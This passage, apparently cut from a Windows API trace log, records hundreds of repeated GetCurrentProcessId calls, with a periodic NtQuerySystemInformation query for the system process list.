GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.323] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.324] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.325] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.326] GetCurrentProcessId () returned 0x10c0 [0272.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.911] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.912] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.913] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.914] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.915] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.916] GetCurrentProcessId () returned 0x10c0 [0272.917] GetCurrentProcessId () returned 0x10c0 [0272.917] GetCurrentProcessId () returned 0x10c0 [0273.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.471] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.472] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.473] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.474] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.475] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0273.476] GetCurrentProcessId () returned 0x10c0 [0274.046] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.056] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.057] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.058] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.059] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.061] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.062] GetCurrentProcessId () returned 0x10c0 [0274.063] GetCurrentProcessId () returned 0x10c0 [0274.063] GetCurrentProcessId () returned 0x10c0 [0274.063] GetCurrentProcessId () returned 0x10c0 [0274.063] GetCurrentProcessId () returned 0x10c0 [0274.063] GetCurrentProcessId () returned 0x10c0 [0274.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0274.646] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.647] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.648] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.649] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.650] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.651] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0274.652] GetCurrentProcessId () returned 0x10c0 [0275.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.196] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.197] GetCurrentProcessId () returned 0x10c0 [0275.198] 